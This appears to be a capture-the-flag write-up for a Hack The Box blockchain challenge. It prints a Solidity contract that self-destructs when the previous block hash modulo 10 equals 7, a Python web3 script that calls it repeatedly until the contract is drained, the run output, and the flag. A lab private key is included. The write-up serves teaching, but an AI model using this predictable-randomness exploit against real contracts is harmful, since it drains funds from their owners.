We start by downloading the source files.
We are given two files:
pragma solidity 0.8.23;
import {RussianRoulette} from "./RussianRoulette.sol";
contract Setup {
RussianRoulette public immutable TARGET;
constructor() payable {
TARGET = new RussianRoulette{value: 10 ether}();
}
function isSolved() public view returns (bool) {
return address(TARGET).balance == 0;
}
}
pragma solidity 0.8.23;
contract RussianRoulette {
constructor() payable {
// i need more bullets
}
function pullTrigger() public returns (string memory) {
if (uint256(blockhash(block.number - 1)) % 10 == 7) {
selfdestruct(payable(msg.sender)); // 💀
} else {
return "im SAFU ... for now";
}
}
}
If
So our goal is to trigger the
Note: generating a random number by using the blockhash is not secure but in this case it is irelevant.
We will use
nc 94.237.57.155 52270
11 - Connection information
2 - Restart Instance
3 - Get flag
action?
Private key : 0xf0ea590dcd6c2e76a82ba78f80dd1a1683c62472ffe4ac3b625aa2f119bab930
Address : 0x9eA947573CDF9e6Ef592cC06C81e55b4187D09eD
Target contract : 0xFC5C5E664e6450f20Ec93B74dcbB6859Cc83555E
Setup contract : 0x200D1ac2D23a4995234204190c6a0F2437a393Fc
Now we can write a script to interact with the contract:
from web3 import Web3, AsyncWeb3
PRIVATE_KEY = "0xf0ea590dcd6c2e76a82ba78f80dd1a1683c62472ffe4ac3b625aa2f119bab930"
TARGET_CONTRACT = "0xFC5C5E664e6450f20Ec93B74dcbB6859Cc83555E"
SETUP_CONTRACT = "0x200D1ac2D23a4995234204190c6a0F2437a393Fc"
TARGET_ABI = [
{
"inputs": [],
"stateMutability": "payable",
"type": "constructor"
},
{
"inputs": [],
"name": "pullTrigger",
"outputs": [
{
"internalType": "string",
"name": "",
"type": "string"
}
],
"stateMutability": "nonpayable",
"type": "function"
}
]
SETUP_ABI = [
{
"inputs": [],
"stateMutability": "payable",
"type": "constructor"
},
{
"stateMutability": "view",
"type": "function",
"name": "isSolved",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"inputs": []
}
]
def print_balance(w3: Web3, account: str) -> None:
balance = w3.eth.get_balance(account)
print(f"Balance of {account}: {balance}")
def get_block_hash(w3, block_number):
block = w3.eth.get_block(block_number)
return block["hash"].hex()
def get_last_block_hash(w3):
block_number = w3.eth.block_number
return get_block_hash(w3, block_number)
def calculate_gamble(w3):
last_block_hash = get_last_block_hash(w3)
print(f"Last block hash: {last_block_hash}")
return int(last_block_hash, 16) % 10
# Connect to the blockchain
w3 = Web3(Web3.HTTPProvider('http://94.237.57.155:37555'))
# Test the connection
connection_status = w3.is_connected()
print(f"Connected to the blockchain: {connection_status}")
# calculate the gamble
gamble = calculate_gamble(w3)
print(f"Gamble: {gamble}")
# Add account from private key
account = w3.eth.account.from_key(PRIVATE_KEY)
print(f"Account: {account.address}")
# Check the balance
print_balance(w3, account.address)
# Load the contract
contract = w3.eth.contract(address=TARGET_CONTRACT, abi=TARGET_ABI)
print(f"Contract: {contract}")
# list all the functions of the contract
functions = contract.all_functions()
print(f"Functions: {functions}")
# Call pull trigger
result = contract.functions.pullTrigger().call()
print(f"Result: {result}")
# Send the transaction
tx_hash = contract.functions.pullTrigger().transact({"from": account.address})
print(f"Transaction hash: {tx_hash.hex()}")
# Wait for the transaction to be mined
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f"Transaction receipt: {tx_receipt}")
# Load the setup contract
setup_contract = w3.eth.contract(address=SETUP_CONTRACT, abi=SETUP_ABI)
print(f"Setup contract: {setup_contract}")
# Check if the setup contract is solved
result = setup_contract.functions.isSolved().call()
print(f"Is solved: {result}")
# print blockchain info
latest_block = w3.eth.get_block(w3.eth.block_number)
print("Latest Block Details:")
print(f"Block Hash: {latest_block['hash']}")
print(f"Timestamp: {latest_block['timestamp']}")
print(f"Number of Transactions: {len(latest_block['transactions'])}")
Hint: you can generate the abi by using Remix.
After running this script a few times, we will solve the challenge:
python3 exploit.py
Connected to the blockchain: True
Last block hash: 0x70610e25ba263a4f1ac169e4d49510ec245bd19066e03b11abca197e42d0b026
Gamble: 0
Account: 0x9eA947573CDF9e6Ef592cC06C81e55b4187D09eD
Balance of 0x9eA947573CDF9e6Ef592cC06C81e55b4187D09eD: 5000000000000000000000
Contract: <web3._utils.datatypes.Contract object at 0x7fd1e42b6490>
Functions: [<Function pullTrigger()>]
Result: im SAFU ... for now
Transaction hash: 0xc72ecbe850e89b8cafed4694d2afd787f2ff0dd1dd4a0c4ca096f428bddd929d
Transaction receipt: AttributeDict({'transactionHash': HexBytes('0xc72ecbe850e89b8cafed4694d2afd787f2ff0dd1dd4a0c4ca096f428bddd929d'), 'transactionIndex': 0, 'blockHash': HexBytes('0xcc09a32545c549df8a93a1d495434b18b3d29854f5d5137dcc37111cce74f12d'), 'blockNumber': 6, 'cumulativeGasUsed': 21720, 'gasUsed': 21720, 'effectiveGasPrice': 0, 'from': '0x9eA947573CDF9e6Ef592cC06C81e55b4187D09eD', 'to': '0xFC5C5E664e6450f20Ec93B74dcbB6859Cc83555E', 'contractAddress': None, 'logs': [], 'logsBloom': HexBytes('0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'), 'status': 1, 'type': 2, 'depositNonce': None})
Setup contract: <web3._utils.datatypes.Contract object at 0x7fd1e04dff50>
Is solved: False
Latest Block Details:
Block Hash: b'\xcc\t\xa3%E\xc5I\xdf\x8a\x93\xa1\xd4\x95CK\x18\xb3\xd2\x98T\xf5\xd5\x13}\xcc7\x11\x1c\xcet\xf1-'
Timestamp: 1710077989
Number of Transactions: 1
python3 exploit.py
Connected to the blockchain: True
Last block hash: 0xcc09a32545c549df8a93a1d495434b18b3d29854f5d5137dcc37111cce74f12d
Gamble: 7
Account: 0x9eA947573CDF9e6Ef592cC06C81e55b4187D09eD
Balance of 0x9eA947573CDF9e6Ef592cC06C81e55b4187D09eD: 5000000000000000000000
Contract: <web3._utils.datatypes.Contract object at 0x7f6f48fd2890>
Functions: [<Function pullTrigger()>]
Result: im SAFU ... for now
Transaction hash: 0x1b34955daa6bd2ee2888ff1cad5168b014a03b451cb3fe9c05a8139b6583acfe
Transaction receipt: AttributeDict({'transactionHash': HexBytes('0x1b34955daa6bd2ee2888ff1cad5168b014a03b451cb3fe9c05a8139b6583acfe'), 'transactionIndex': 0, 'blockHash': HexBytes('0x7f046ba6e19bc4c0a3dc6294ea1e96e7d086f942156ad6fd69feef743da484b6'), 'blockNumber': 7, 'cumulativeGasUsed': 26358, 'gasUsed': 26358, 'effectiveGasPrice': 0, 'from': '0x9eA947573CDF9e6Ef592cC06C81e55b4187D09eD', 'to': '0xFC5C5E664e6450f20Ec93B74dcbB6859Cc83555E', 'contractAddress': None, 'logs': [], 'logsBloom': HexBytes('0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'), 'status': 1, 'type': 2, 'depositNonce': None})
Setup contract: <web3._utils.datatypes.Contract object at 0x7f6f4bde2e50>
Is solved: True
Latest Block Details:
Block Hash: b'\x7f\x04k\xa6\xe1\x9b\xc4\xc0\xa3\xdcb\x94\xea\x1e\x96\xe7\xd0\x86\xf9B\x15j\xd6\xfdi\xfe\xeft=\xa4\x84\xb6'
Timestamp: 1710077992
Number of Transactions: 1
Now we can get the flag:
nc 94.237.57.155 52270
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 3
HTB{99%_0f_g4mbl3rs_quit_b4_bigwin}